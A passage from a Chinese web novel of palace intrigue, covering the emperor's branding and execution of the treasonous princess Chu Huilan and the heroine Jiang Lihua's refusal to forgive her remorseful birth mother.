她像疯了一样,双目骤然变红,表情越发狰狞,“谁说的?我与皇兄是两情相悦,给皇兄下药的明明是那个不要脸的**!”
“你就是那个不要脸的**!你知道为什么阿霆他宁愿背负上谋逆的骂名带着那些世族**,也不愿意活在世上吗?”皇帝丢了自己的鞭子,拿起一旁的烙铁丢进烧得火红的炭盆里,他脸色木然,眸光冰冷,“因为他觉得活在世上,想到有你这么一个**在心中惦记着他,他就觉得很脏!他嫌你脏!”
“你胡说!”楚蕙兰发了疯,她拼命地在木架上挣扎,嘶声吼道:“五皇兄不是那样说的!是他告诉我的,只要我愿意把与那些世族的兵权都给他!他就会去争那个位置!只要他当上皇帝,他就会和我在一起!不过我们的计划不成熟,所以他才会暴露!五皇兄才会死的!你少在这儿挑拨我和五皇兄的关系!”
当年皇兄给了她那么多死士,还把他最信任的部下都交给她,说可以帮她练兵!
皇兄怎么可能骗她?
“哈哈哈....”皇帝含着泪光的眼睛盯着烧得火红的炭盆,他的眼光中映射着火苗,泪光中带着火焰...
“你笑什么?”楚蕙兰扬声吼道,“你不准笑!狗皇帝!你不准笑!”
“蠢货,朕为什么不能笑?”皇帝伸手拿起已经被炭盆烧得通红的烙铁,缓缓转身看着楚蕙兰,他咬着牙齿,“想到阿霆竟然因为你这样的**而死,朕就恨不得把你千刀万剐!”
楚蕙兰下意识地想骂皇帝,但是看到他手中那刻着贱字的烙铁,她眼底划过一丝恐惧,她缩了缩头,“你要干什么?”
皇帝没有回答她,只抬手就把通红的烙铁直接烙在了她的脸上,一股烧焦的味道和楚蕙兰撕心裂肺的痛呼声遍布整个慎刑司。
一直静静地在一旁看着皇帝发疯的楚御礼握了握拳头。
楚蕙兰一个女人心思再深也不可能养得起十万兵马,但是当年她若与财力足以和朝廷对抗的各大家族联手的话,的确可以成事,不过还好,她的心思和与那些世族的谋算被五皇叔察觉了。
只是...
明明五皇叔已经知道了他们的心
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思,以五皇叔当年的才智和骁勇,完全可以把事情告诉父皇,然后兄弟联手慢慢的找到那些世族和楚蕙兰意图谋逆的证据,再把那些世族徐徐图之...
可是五皇叔却因为楚蕙兰对他那肮脏的心思,选择了最快最决绝的方式。
“楚晋骁...”楚蕙兰偏头看着皇帝,眼底全是疯狂之色,“你就是因为众叛亲离,被五皇兄背叛了所以才这么恼羞成怒的吧?你就算再怎么折磨我,五皇兄也是爱...”
“楚蕙兰。”皇帝打断楚蕙兰的话,然后把烙铁随手扔进水盆中,又亲自去找了刻了恶字的烙铁,一边找一边说,“你知道为何昨日你安排在宫中的那些兵马,不战而败了吗?”
皇帝问完这句话,又把恶字烙铁丢进了火盆中,这才缓缓回头看着楚蕙兰,他脸色依旧木然,深邃的眼眸中是面目可憎的楚蕙兰。
“你...什么意思?”楚蕙兰心头忽然有一种不详的预感,她冷冷地看着皇帝,心头已经有了怀疑,但是想到自己被欺骗这么多年,她立刻摇头,“你休想忽悠我!”
皇帝嗤笑,他回头看向楚御礼,“把你五皇叔当年留下的绝笔一页一页地拿给她看。”
楚御礼应了声是,把皇帝让他带着的那封书信拿了出来。
皇帝瞧着眼神恍惚的楚蕙兰,语气疲惫又冷漠,“你以前一直在窥探阿霆的一切,应该不会认不出阿霆的字吧?”
皇帝说这话的时候,楚御礼已经把那些书信递到楚蕙兰面前了,楚蕙兰看到上面的字,就知道这是楚晋霆的字,她看着上面他写的一字一句,还有后面那句,“楚蕙兰此人阴险,与世族勾结从未留下实质证据,臣弟只能假意与她心意相通,留下心腹在她身侧,希望将来某日他们能助皇兄一臂之力,铲出这个毒妇。”
楚蕙兰猛的睁大眼睛,毒妇?楚晋霆竟然说她是毒妇?
皇帝已经拿起了被烧得通红的恶字烙铁,直接把字烙在楚蕙兰的另一张脸上,随着烧焦的肉味随之响起的是楚蕙兰的惨叫声。
楚御礼有些嫌弃的往后退了一步,有些震撼的看向皇帝,看来他这位向来情绪稳定的父皇,这次是真的气的狠了。
第220章 心中执念
“啊....”楚蕙兰拼了命的使劲挣扎,即便被绑在木架上的手腕已经被她磨出血了,她依旧不停地挣扎,她的双目带着血泪,浑身都在拼命的扭动...
皇帝瞧着楚蕙兰痛苦挣扎却又满是不可置信的模样,他阴沉地笑了,“朕还要感谢你呢,做了那么多恶事,用残败的身子换来了那么多银两为朕养了一支精锐。”
他说罢丢掉了手中的烙铁,开始欣赏楚蕙兰怒不可遏的表情。
“啊!!!”楚蕙兰眼中的血泪从眼眶滑落,她猛地抬头看着皇帝,用尽全力往前够,如同被拴在木头上发了疯的狗,“我要杀了你!我要杀了你!”
“你杀不了我,以前五弟用命护着我,如今有五弟留下来的常勇、常胜等人为朕策反了你的兵马,所以你杀不了朕!”皇帝看着楚蕙兰的眼神骤然变得冰冷,“你想不到吧?你当初用尽浑身解数才与那些世族买到的奴隶,被五弟的那些亲卫悉心训练了这么多年,最后成了朕的精锐!”
“啊啊啊!!!我不信!”楚蕙兰朝着皇帝吐了口唾沫,“这一切肯定都是你编的!这一切都是你骗我的!我不信!我是绝对不相信的!”
皇帝瞧着她疯魔的模样,双手捏紧成铁拳,他猛地转身不再看狼狈又可恨的楚蕙兰,若不是看到这封书信,又加上这些事情如此蹊跷,他也不会相信当年那个想致自己于死地的弟弟竟然一心为他着想。
皇帝从慎刑司中出来还能听到楚蕙兰在牢狱中撕心裂肺的吼声。
牢狱中。
楚御礼抬眸看着楚蕙兰,眼神有些不解,“姑姑,侄儿有一事不解,五皇叔并不心悦与你,你为何还说五皇叔喜欢你的容貌,甚至不惜与南疆勾结也要用蛊维持自己的容颜?”
原本还在狂吼的楚蕙兰听到楚御礼平静的声音,她缓缓垂眸,想起了当年与皇兄他们参加当时还是承恩伯的孟家举办的簪花节,当时京城大大小小来了不少贵族小姐,那些自称贵族小姐的大家闺秀为了在几个皇兄面前表现,一个个把自己打扮的花枝招展的,而五皇兄还颇为认真的欣赏着那些小姐簪花的样子。
她一气之下问五皇兄他觉得那些小姐们的簪花谁的最好看,她当时想,若五皇兄说了是谁,那她回去一定神不知鬼不觉的把那个贱皮子弄死!
谁知道五皇兄很认真的看了她们一圈,而后回头,笑着对她道,“这世间姑娘的容颜,谁能比得上本王皇妹的容颜?这京城就没有比你容貌好看的姑娘。”
她当时心头一喜,就听五皇兄继续说,“皇兄这辈子啊,若是能娶到皇妹你这么漂亮的媳妇那就心满意足了。”
后来皇兄还说这京城的公子谁若娶到她,那就真的有福气了。
她那时候就想,皇兄肯定是喜欢她的!
皇兄更喜欢她的脸,所以她一定要让自己的脸一直那么漂亮!让皇兄一直觉得幸福...
可是后来皇兄却娶了其他女人...
楚蕙兰想到这里猛地抬头看向楚御礼,嘶声道:“你现在是来看我笑话的?”
“姑姑这一生的确像个笑话。”楚御礼嗤笑了一声,“年少时名满京城,因为你当初一支舞蹈让楚国女子穿衣不再受限制,你也曾被无数人歌颂,明明令人艳羡的人生却被你活成这副模样。”
“那又如何!”楚蕙兰透过自己模糊的眼睛看着映在自己眼底都有些模糊的楚御礼,惨然一笑,“他们还不是看不上我...我喜欢的人,连死都是在算计我!”
“你当初能说服世族养兵,亦然可以说服世族支持父亲推翻世族**制推拒科举制,是你自己执迷不悟,才导致如今这个局面的。”楚御礼把手中的书信收了起来,“若你心头只有兄妹之情,不是善恶不分之人,那如今即便只是兄妹之情,你依旧是父皇和五皇叔最好看最贴心的皇妹,你依旧是他们两人捧在手心里面的妹妹。”
楚蕙兰仅仅闭上眼睛,她脑海中全是小时候她被皇兄背在背上在御花园中奔跑的模样...
看着她满脸悔恨的模样,楚御礼眉梢微挑,抬步朝慎刑司外面慢慢走去。
父皇说出五皇叔对楚蕙兰的算计,只会让她心头更加的不甘和不忿,只有让楚蕙兰回想起当初他们之间最纯粹的感情,才能让她后悔。
楚蕙兰这种善恶不分的人,想要让她有罪恶感是不可能的,只有让她后悔自己亲自葬送的情感,才能真正的诛了她的心。
“镇南将军。”楚蕙兰看着楚御礼的背影道。
一只脚已经踏出牢狱的楚御礼收回脚步,他缓缓回头看向楚蕙兰,“什么?”
“你们不好奇当年我是如何说服那些世族的吗
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?光靠我自己可不够,我一个女人哪儿有那个实力能说服那些世族让他们甘愿拿出金银为我所用。”楚蕙兰静静地地看着楚御礼,轻声道:“因为段贺年,他一直心悦于我,为了得到我,帮我一起说服那些世族的。”
楚蕙兰说到这里轻笑了一声,“还有那些世族和五皇兄被连根拔起之后,这些年本宫之所以能培养自己的势力,不仅是因为我的俸禄和做的那些伤天害理的事情还有萧景宴他们的孝敬,最大的原因是段贺年每年都会从南边给我送不少金银珠宝过来。”
“而为了与我私会,他每年都会亲自与那些押送金银的人一同来京城。”楚蕙兰眼底如一潭死水,“我这些年之所以强人恶心与他虚与委蛇,不过是想图得五皇兄在意的一切!如今一切不过是骗局...”
楚蕙兰闭了闭眼睛,压着嗓子道,“段贺年在南岳拥兵自重,早有异心。”
楚御礼深深地看了楚蕙兰一眼,颔首,“侄儿知道了。”
他转身要走。
“御儿。”楚蕙兰喊住他。
楚御礼回头。
“给姑姑一个痛快吧。”楚蕙兰垂下头,“我如今这副模样即便是**,也无法再...我已经够丑了,不想再那么老的死去...”
“好。”楚御礼转身走了出去。
楚蕙兰听着脚步声她缓缓地睁开眼睛,看着那走在光影中的背影,她扯了扯嘴角,她现在知道为什么当年她会留这孩子一命了。
他小小年纪便风光霁月,虽然不是五皇兄的孩子,却和五皇兄一样重情重义,他身上有五皇兄的影子。
他和楚晋骁不一样。
楚御礼离开后钱大海走了进来,看到楚蕙兰脸上的烙铁印记,钱大海吞了吞口水,从怀中拿出一瓶**走到楚蕙兰面前,“这是鹤顶红,御王殿下交代给您服下。”
楚蕙兰笑了...
她机关算尽一生,到**才知道,想要得到自己在乎的,不是要靠算计,而是要靠真心。
因为算计得来的,并不是真心,只是旁人的算计或屈服...
皇兄啊,若真有来世,我不想当你的妹妹了也不想再因为你欢喜因你悲了...
这一世,因为你,我心生执念,活的真是人不人鬼不鬼!
若有来世,我只愿当父皇无忧无虑的公主...
第221章 各有遗憾
楚御礼从慎刑司出来看到还站在慎刑司外面长廊上的皇帝,他双手背负在伸手目光看着的地方是年少时楚晋霆住过的宫殿。
楚御礼在原地驻足了片刻,直到皇帝转身往他这边看过来的时候,楚御礼才抬步朝皇帝走去。
他把方才楚蕙兰所说的话转告给了皇帝,皇帝沉着脸看了楚御礼片刻,轻声问,“御儿,你可愿意南征?”
楚御礼抬眸看向皇帝,眼底闪过一丝惊讶,父皇这是什么意思?
“如今江南节度使赵忠就在京城,赵总督骁勇善战,手下将士更是精锐,父皇想要一举拿下段贺年,不如让赵总督带兵攻打,儿臣如今身子虽然已经无碍,但毕竟从未上过战场。”楚御礼抱拳跪在地上,语气真诚,“儿臣害怕有负父皇重望。”
只是如今若真的打起来了,怕是对楚国虎视眈眈的其他国家,就会趁虚而入了。
皇帝垂眸看了楚御礼好一会儿,半晌之后他叹气颔首,“朕如今唯一信得过的皇子只有你了,你上了战场若有个好歹,朕的确承担不起这个后果,是朕考虑不周了。”
楚御礼心头一震,他抬头望着皇帝,正要说话,皇帝就道:“你累了一天一夜了,回府歇息吧,朕让福清他们亲自去城外迎赵忠和常勇等人进宫,明日朕会给常勇等人封赏。”
他说罢转身要走,楚御礼连忙喊住他,“父皇。”
皇帝回眸看着楚御礼,眼底尽是疲乏之色。
“儿臣已经送佳宁公主上路了。”
皇帝一愣,他的目光往慎刑司的方向停留了片刻,接着转身,“她死有余辜,朕原本想让她受尽折磨再死,御儿你到底还是太善良了。”
看着皇帝那有些弯曲的后背,楚御礼深深地吸了口气,这时候一直在旁边守着的昭临走过来扶着楚御礼的手臂助他起身,“主子,回府吗?”
“回。”楚御礼亦是往慎刑司里面看了一眼,然后大步离开。
楚蕙兰有计谋有胆色,只是却从不做好事,不然她的一生定然精彩又令人敬佩。
御王府。
姜黎婳回来的消息自从昨天传开之后,今天御王府的门槛几乎都要被人踏破了。
姜黎婳也只能不假辞色的一一应付。
姜家父子在楚御礼让人去救姜斯羽那天起就知道了姜黎婳还活着的事情,今天过来王府看到这么多关心姜黎婳的人,他们父子倒是没有着急拉着她问东问西,而是把时间留给了旁人。
沈遇知昨夜就听女儿说了御王府中发生的事情,直到姜黎婳主仆拼了全力护着女儿的性命,今日亲自带着礼物过来感谢姜黎婳,见御王府今日客人多,也只和姜黎婳说了几句话,然后说以后再慢慢谢她,就带着几个孩子离开了。
沈遇知他们离开,胡氏这才上前拉着姜黎婳仔仔细细的查看,确定了姜黎婳并未受严重的伤,她才伸手在姜黎婳肩膀是狠狠地打了一下,“你这丫头!可瞒得祖母好苦!祖母还以为祖母害死你了。”
胡氏说到这里就开始抬手拭泪,“你这孩子为何要这般吓祖母!”
姜黎婳**氏这么狠狠地打了一下肩膀,疼得她眉头紧紧地皱了起来,但是她没吱声,由着胡氏哭了一会儿,她才低声道:“是婳儿考虑不周,请外祖母不要怪婳儿。”
胡氏听到姜黎婳这么说,哭声骤然停了下来,好半晌之后她叹气,“罢了罢了,你们夫妇两人也是为了揪出那恶魔才不得已出此下策的,外祖母怎么会怪你呢。”
吕静雅扶着胡氏重新回椅子上坐下,这才看向姜黎婳,轻声道:“王府走水那日,祖母以为是自己非要姑母他们把你找回来,才导致你被害死的,这些日子都在自责。”
姜黎婳听了这话,双手握了握,她会有那样的经历,挂不得别人,要怪只能怪她自己太过于自负,以为自己拥有一点上帝视觉就可以掌握全局了。
是她害**王府那么多人,还害**佩玉。
姜黎婳不敢去与他们关切的目光对视,她错开目光,一下与坐在红木椅上一直和姜斯羽坐在一起但从进来就未说过话的赵旭庭对视上了。
赵旭庭张了张嘴,最后什么都没说。
姜黎婳收回目光,正要说话,就听到外面有人在喧哗,众人皆是回头朝院外看去,这时候门外一个小厮跑了进
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来,“王妃,外面自称是您母亲的人吵着想要见见您。”
姜黎婳蹙眉,吕月琴?他们过来做什么?
想到苏建明和邹如意的下场,姜黎婳眼底闪过一丝不耐,她自认对这个让原主死心的吕月琴已经够仁慈了。
这吕月琴还来找她做什么?
胡氏在一旁听说吕月琴过来找姜黎婳,她捏了捏手中的手绢,抬眸看向姜黎婳,见姜黎婳脸色不好,她连忙站了起来走到姜黎婳面前,“婳儿。”
姜黎婳起身亲自扶着胡氏,“外祖母,你想劝我?”
“外祖母知道她曾对你做的事情,所以也不祈求你原谅她。”胡氏拍了拍姜黎婳的手,叹气,“但她知道你被烧死的时候差点**,这些日子他们母子三人也是散尽家财只为找你,虽然你并未真的失踪或者出事,但他们却真的关心你。”
“祖母不求你原谅他们,只想求你看在他们诚心悔改的份上,见他们一面,可好?”
姜黎婳抿着嘴没说话。
这时候一直坐在旁边喝茶并未开口说话的姜淮邦站了起来,他看着姜黎婳,“婳儿,父亲是不是教过你,逃避并不能解决事情?他们这些日子对你的真心,父亲也看在眼里,就见见吧。”
姜黎婳闭上眼睛,半晌后她睁开眼睛,“让他们进来吧。”
胡氏听姜黎婳这么说,眼底的紧张散去。
终究是亲母女,她是真的不希望女儿和外孙女真的走到老死不相往来的这一步。
只希望女儿以后不要再犯糊涂,惹婳儿伤心。
吕月琴和苏承印兄弟二人被人带着走进来,看到姜黎婳坐在高座首位上,吕月琴的脚步下意识地加快了,她朝姜黎婳走了几步,又想到自己如今和姜黎婳的关系,她忐忑地放慢了脚步,走到大厅中央,她停下脚步,无视他人的目光,缓缓朝姜黎婳跪了下去,“民妇见过王妃。”
苏承印兄弟也一起跪了下去,“见过王妃。”
“起来吧。”姜黎婳看着三人,“有什么话,就说吧。”
吕月琴瞧着姜黎婳疏离的模样,她扯了扯嘴角,轻轻摇头,“民妇只是想看看王妃。”
第222章 告诉吕月琴重生真相
姜黎婳瞧着吕月琴的模样,眼底闪过一丝嘲讽,她现在这故作可怜的模样是做什么?想让自己原谅她?
那可真抱歉,她绝对不会原谅!
吕月琴身为亲生母亲,之前对原主和她所做的一切,都是她自己的选择!她绝对不会因为吕月琴现在知道错了就原谅她。
“王妃...民妇想要和您单独说几句话,不知王妃可愿意?”吕月琴抬眸看着姜黎婳,她脸上带着恳切,眼底全是祈求。
“可以。”姜黎婳扫了众人一眼,“各位请自便,我与吕夫人单独说几句话。”
她说罢抬步朝厅外走去。
吕月琴连忙抬步跟了上去,两人走到后花园中,大火是两个月前的事情了,事发后皇帝就命工部尽快修缮王府,如今的王府虽然模样已经恢复如初,但花园中移植的花草还未长好,看上去显得后花园有些萧条。
姜黎婳走到花园中央直接停下脚步,她回头看着吕月琴,“你有什么话要说?”
“婳儿。”吕月琴瞧着姜黎婳对自己这么冷漠的模样,心底一同,她捂着胸口,满脸心伤地看着姜黎婳,“你就这么恨母亲吗?母亲已经知道错了,你就真的不能原谅母亲?”
看着吕月琴这么伤心的模样,姜黎婳笑了,她淡漠往后退了一步,轻声问,“若苏清欢是苏建明和外室的女儿这事情一直没有爆出来,你还会觉得你自己错了吗?你还会想要找回我这个女儿吗?”
吕月琴脸色随着姜黎婳的话音落下瞬间变得惨白,她想起她做的那个梦,梦中她把姜黎婳嫁给了萧景宴,姜黎婳在萧家受尽磋磨,她却因为苏清欢嫁给皇子没多久就守了寡,被挑拨地认为姜黎婳在萧家享尽清福,甚至后来苏清欢把自己作**,她还去咒骂自己的亲生女儿,问亲生女儿为什么死的不是她。
那就是她不知道真相的选择。
而梦中的女儿不是像自己这样才被折磨了半年时间,梦中的女儿被自己埋怨、忽视、折磨了十几年。
吕月琴往后退了一步,姜黎婳看着吕月琴的模样,冷冷一笑,“你知道真相后想要弥补想要求和,我就必须配合你吗?凭什么?我现在原谅你了,那她...我曾经受的委屈,又该如何?”
姜黎婳说到这里眼泪不自觉地从眼眶里面滑落出来,她盯着吕月琴,声音沙哑,“这才多久你就受不了了?这点根本不及我曾经痛苦的万分之一。”
说到这里姜黎婳深深地吸了口气,意识到自己情绪激动了,她闭了闭眼睛,然后转身不再看吕月琴,“我是绝对不会原谅你的,你恼羞成怒恨我也好,继续愧疚也罢,今后不要再来找我了,也不要再让吕家人来说服我,否则,我不介意和吕家人也断绝关系。”
她说完抬步要走。
“婳儿!为什么?”吕月琴着急地扑过去拉住姜黎婳的手,哭着问,“把你找回家我们忽视了你半年,如今你折磨母亲也快有半年了,母亲发誓将来一定会补偿你,无论你要如何对母亲恶语相向,母亲都无所谓,你为什么就不愿意再认我,再喊我一次母亲?”
姜黎婳垂眸看着自己被拽住的手,她抬臂使劲抽回自己的手,没有去看泪眼朦胧的吕月琴,她冷漠地站在那里问,“母亲?当初你是自己选择要做苏清欢的母亲的,你忘了?”
“那是我不知道真相!难道你就要因为这点事情恨我一辈子吗?”吕月琴嘶吼道,“是不是只有我**,你才能原谅我?”
“不是!”姜黎婳猛地转身看着情绪失控的吕月琴,厉声喝道,“你就是**,我也不会原谅你!因为我绝对不会忘记那十几年你是怎么对我的!你不记得你让我代替苏清欢**,但是我记得!”
她和原主不仅是名字一样,命运都一样,亲生母亲只喜欢别人的女儿,而这个因为她们的疏忽而导致流落在外的女儿,根本得不到他们半点的关怀!
凭什么他们知道错了,她就必须要原谅!
她不会原谅!
吕月琴下意识地想要反驳,但是听耳边却一直在回响姜黎婳说的那十几年和代替苏清华**的话...
她失魂落魄地往后退了一步,因为踩到了新土脚下一滑,她跌倒在地上,姜黎婳看到她这模样,冷笑,“怎么?现在装摔倒,一会儿让他们来看看我
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是如何不孝的?吕夫人,你失算了,在外人眼中,你不过是一个和离妇,与本王妃没有半点关系!”
“你刚刚说的十几年是什么意思?”吕月琴缓缓抬眸看着姜黎婳,“你明明才回来一年。”
姜黎婳瞧着吕月琴的模样,眼底闪过一丝无趣,她缓缓蹲下身子,与跌坐在地上的吕月琴对视,“你想听吗?”
既然你要缠着我不放,那就让你听听原主的故事吧。
“吕月琴你以为我为什么回来之后不处处讨好你们,只在你们对我发出警告后,就尽量不与你们亲近吗?因为我知道那是无用功,甚至会让你们以为我在和苏清欢争宠。”
吕月琴心头一沉,嘴上却下意识地问,“为什么你会知道?”
“因为我经历过一次了啊。”姜黎婳想到自己曾经经历的一切,和原文中原主所经历的一切,她眼眶中瞬间集满泪水,眼泪也顺着脸颊滑落下来,她一字一句的给吕月琴讲述原主所经历的一切,“我如此绝望的死去,最后竟然没有死成,或许老天见我可怜,让我重活一世,那这一次就顺了你的心意,不做你的女儿,代替苏清欢嫁给短命鬼,代替苏清欢来死,你还不满意吗?”
听着姜黎婳讲述的一切和自己的梦竟然一模一样,吕月琴只感觉自己的心好像被人拿着锥子在刺一样疼,她伸手死死的揪着自己的衣襟,哭得撕心裂肺。
她以为那一切只是梦。
她以为那不过是自己对女儿的愧疚,才会做出来的梦而已。
她缓缓抬眸看着姜黎婳,“我错了,我真的错了。”
“邹如意撺掇苏建明把我抱走丢弃,她该死,苏建明作为父亲把我丢弃,他更该死!”姜黎婳慢慢站起来,居高临下的看着吕月琴,“而你虽然不知当年真相,却作为亲生母亲,对自己流落在外重新找回来的女儿不管不顾,还恶语相向亦然不可被原谅!”
吕月琴坐在地上哭得不能自已。
姜黎婳不再看她,她深深地吸了口气,“你想要赎罪,那这辈子就在自责中度过吧,即便是想要弥补我,也别让我知道,因为我不想再和你有瓜葛。”
第223章 我们永远欠她
她以为那些只是自己的梦,不曾想那却是女儿曾经实实在在经历过的。
若她经历过女儿经历的那一切,有机会重生,她不会像现在这样只是和他们断绝关系,她会在重新踏入苏家那一刻起就直接杀了苏家所有人。
婳儿对他们已经足够仁善了。
吕月琴偏头看着姜黎婳离开的背影,眼睛越来越模糊,她知道,这辈子她都无法取得女儿的原谅了,而她无法取得对方原谅的原因不是姜黎婳心狠,而是自己不配。
她不配再当姜黎婳的母亲。
一直在前院等着母女二人谈话的众人最终等到了铃铛过来的逐客令,胡氏听到铃铛说姜黎婳身体不适不再待客,心头一沉,她焦急的站起来问,“怎么回事?有没有请大夫?”
“府医已经过去给王妃诊脉了,老夫人无须担心。”铃铛面无表情地朝众人行礼,“王妃说今日招待不周,改日再向各位赔礼,还请各位先离开吧。”
苏承印皱眉站起来,“我母亲呢?”
他话音落下,姜淮邦和姜斯羽二人则站起来,对众人拱手,姜淮邦道,“各位先行一步,我们过去看看婳儿。”
父子二人离开会客厅,朝后院走去。
苏承印也要抬步跟上去,却被铃铛拦住了去路,“吕夫人应该很快就会过来,王府后院外男不要随意走动,姜老爷和姜公子是我家王妃的父兄可以过去,但苏公子与我们王妃无亲无故还是不要随意走动的好。”
苏承印一怔,苏继业沉声道,“我们也...”
“二弟。”苏承印拦住苏继业,沉声道:“别激动,等母亲过来。”
胡氏瞧着兄弟二人的反应她眉头皱了皱,思索了片刻后,她看向吕静雅,“你去后院瞧瞧你姑姑,把人带过来吧。”
看那婢女的反应,想来她们母女两人是没有谈拢的。
铃铛瞧着胡氏还是一个懂得分寸的,她众人福了福身子,转身大步离开。
吕静雅刚要出去寻人,吕月琴就慢慢的从后院走了过来,看到吕月琴那摇摇欲坠的模样,胡氏着急地往前走了两步,不过苏承印兄弟二人要比她的脚步快上两分,在她走出厅堂之前,兄弟两人已经走过去扶着吕月琴了。
苏承印看到吕月琴身上的泥土和她通红肿胀的眼睛,他脸色沉了两分,“母亲?她说重话伤你了?”
苏继业立刻厉声道:“我们又没有做出真正伤害她的事情,就这么不可饶恕?她当真以为有王府护着,就可以六亲不认了吗?”
“够了!”吕月琴被兄弟两人左一句右一句吵得头昏脑涨的,她挥手甩开兄弟两人的搀扶,嘶声吼道,“你们没有经历过她的痛苦,有什么资格批评她?”
被孟雪莲和吕静雅扶着走出来的胡氏听到吕月琴这话,她都愣了愣,“你这是受了什么刺激了?”
这话真的是她那个女儿能说出来的话?
苏继业本就是为吕月琴打抱不平,现在还被吕月琴反过来训斥,他当即怒了,“我是在为母亲说话,母亲还反过来怪我?你难道不想和她相认了?还是说她刚刚又说了什么话让你改变了心意?”
吕月琴想到刚刚自己和姜黎婳在花园的谈话,她伸手扯着胸口,哑着声音道:“是我们对不起她,我应该用一辈子来赎罪的。”
“我们之前不过是因为被欺骗之后蒙在鼓中所以才会做出那些错误的选择,但罪魁祸首并不是我们啊!”苏继业拉着要走的吕月琴道,“如今我们已经这样低声下气地过来求原谅了,她还想怎么样?”
听到苏继业这话,吕月琴一下子体会到了自己先前对姜黎婳咄咄逼人的模样,她抬手就想打苏继业,但是举起的巴掌迟迟落不下来,苏继业看着母亲扬起的手掌眼神逐渐变冷。
他嗤笑,“怎么?母亲还想打我?”
吕月琴惨然一笑,接着狠狠地给了自己一巴掌,“我有什么资格打你们,你们变成如今这模样,是我教出来的,你们对她冷言冷语是我纵容的!我有什么资格打你们!”
“母亲!”
“吕夫人!”
焦急和冰冷的两个声音同时响起。
众人朝那冷冽的声音传来的方向看过去,楚御礼冰冷的站在院门口看着他们,“想要教训儿子请您回去教训,不要
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在这里吵到本王的王妃休息。”
楚御礼说罢朝院中走了几步,他的目光从众人面前缓缓扫过,最终落在吕月琴脸上,“本王的娘子曾经受过的苦难是你们无法想象到的,她曾经经历的绝望也是你们不曾体会过的!所以你们以后若再想要挟她与你们和解,休怪本王不客气。”
吕月琴听到楚御礼警告的话,她整个人一怔,接着她缓缓抬头,“你知道?”
楚御礼眼睛眯了眯,他看着吕月琴的目光变成了审视,最终他冷哼了一声,“既然吕夫人已经知晓了她曾经经历的一切,如今应该更应该知道自己该怎么做了。”
他说罢看向胡氏,对胡氏和孟雪莲等人微微颔首之后,转身大步朝后院走去。
等他离开,吕月琴再也支撑不住,整个人往后退了一步。
胡氏等人却一脸不解,众人把目光都放在吕月琴脸上,胡氏问,“王爷那话是什么意思?”
吕月琴轻轻摇头,她女儿重新活过一世这种事情,绝对不能让第四个人知道。
以前的她让女儿失望透顶,以后,她会默默守着女儿,祈求上苍保佑女儿有一个幸福美满的未来。
“婳儿经历的比你我知道的更苦,这一切都是我们害的。”吕月琴回眸看向苏承印和苏继业,低声道:“承儿、业儿你们不要怪她,你们只需要设身处地的想想,若你们被母亲丢失在外多年再寻回,回来却发现家中早已经没有了你们的地位,而父母兄弟却对取代了你们位置的那个人百般呵护,甚至不惜伤害你们来向那个孩子表达自己不会变心,你们会怎么样?”
“能怎么样,当然是绝不...”苏继业说到这里,后面的声音却消失了。
他握了握拳头,转身大步朝王府外面走去。
苏承印往弟弟的方向看了一眼,走过去扶着吕月琴,“既然母亲放下了,那我们就会放下,她不原谅便不原谅。”
“我没有放下,我希望你们兄弟以后也不要对她心生芥蒂。”吕月琴拉着苏承印,“她不认我们,但我希望你们心底永远把她当成亲妹妹,永远记得,是我们欠她的。”
第224章 御王:我不尴尬尴尬的就是别人
楚御礼到梨月居的时候,知夏正拿着清心丸给姜黎婳服下,看到自家娘子服药,他脸色一沉,脚下的步子也加快了几分,走到床边坐下,见姜黎婳面色不好,他人一下子急了,“哪儿不舒服?怎么还用上药丸了?”
“心中淤堵,吃得清心丸。”姜黎婳有些乏力的揉了揉眉心,抬眸看到楚御礼焦急的脸庞也带着疲乏之色,而他眼中还带着血丝,她眉头微蹙,“殿下昨夜没休息?”
“昨夜出了一趟城又连夜赶回来,刚从皇宫出来。”楚御礼拉着姜黎婳的手,语气不好,“你心情不好是被那吕夫人气的?”
姜黎婳想到吕月琴听到自己说出那些话后满脸不可置信的模样,低声道:“她应该也好不到哪儿去。”
“当真是被她气的!”楚御礼沉着脸站起来,“看来他们的日子还是太好过了,我这...”
“你不必为难他们,我想今后他们应该是不会再主动出现在我们面前了。”姜黎婳一把拉住楚御礼的手腕,“你也奔波了一夜,别再为这种小事操心了。”
“你的事情怎么算小事呢。”楚御礼垂眸温柔地看着姜黎婳,语气闷闷,“除了你的事,其他的才是小事。”
姜黎婳眼睛一瞪,震惊地抬头看着这臊人的话张口就来的某人,“你...”
楚御礼不等她骂自己,一把把她拉入怀中,“娘子,你要知道,这世上所有人,在我这儿都比不上你。”
姜黎婳伸手推了推楚御礼,“你先放开我...”
“咳咳...”尴尬的两个声音在一旁响起。
楚御礼身子一僵,他缓缓回头,姜淮邦和姜斯羽父子二人此时正在临窗的两张太师椅上坐着尴尬地看着他们夫妇二人。
姜黎婳闭了闭眼睛,干脆把脸埋在楚御礼的胸口,不去面对这么尴尬的局面。
先前父兄过来,见她情绪不好要用药,两人便主动让知夏先伺候她服药,他们在一旁等着,谁知这人闯进来也不看看场合,就直接说了一堆,然后还做出这种惊人的举动来。
楚御礼不愧是见过大世面的,看到两人坐在窗边的太师椅上,他不过怔愣了片刻就立刻神色自然的和两人点头示意,“岳父,舅兄。”
姜淮邦见到女儿和女婿两人关系这么好,心头自然是高兴的,他笑着站起来和楚御礼点头示意,“王爷回来了,婳儿身子不适,那我们改日再过来看她,你们夫妇二人应该也许久不见了,你们两人好好说说话。”
“爹爹,我没有不舒服。”姜黎婳连忙推开楚御礼低声道。
楚御礼也道:“我这几日四处奔波身上一身污秽,还要去清洗一番,不如岳父和舅兄先陪婳儿说会儿话。”
姜淮邦瞧楚御礼如此明事理的模样,心头对他的喜爱更升了几分,他连连点头,“王爷这些日子辛苦了,快些去梳洗。”
姜黎婳也道:“我让人备膳,你梳洗完先用些再休息。”
楚御礼笑着揉了揉姜黎婳的头发没有说话,他朝姜淮邦父子轻轻颔首,然后转身离开了房间。
楚御礼离开,姜淮邦这才笑着上前坐在圆桌旁边看着姜黎婳,一脸的欣慰,“为父看得出来御王殿下是真心喜爱你的。”
姜黎婳抿嘴垂眸,“女儿知道的。”
瞧姜黎婳心情不好,姜斯羽站起来,“还在为佩玉嬷嬷的事情难过?”
“是我太狂妄了。”姜黎婳皱起眉头,眼眶微红,“是我把自己想得太厉害了,以为自己能护住所有人,最终却害了王府这么多人,还害**佩玉嬷嬷。”
姜淮邦看着姜黎婳愧疚的模样,他叹了口气,沉声道:“婳儿,你要记得,你不是天上的神,即便是神也不可能顾全所有,你已经尽力了。”
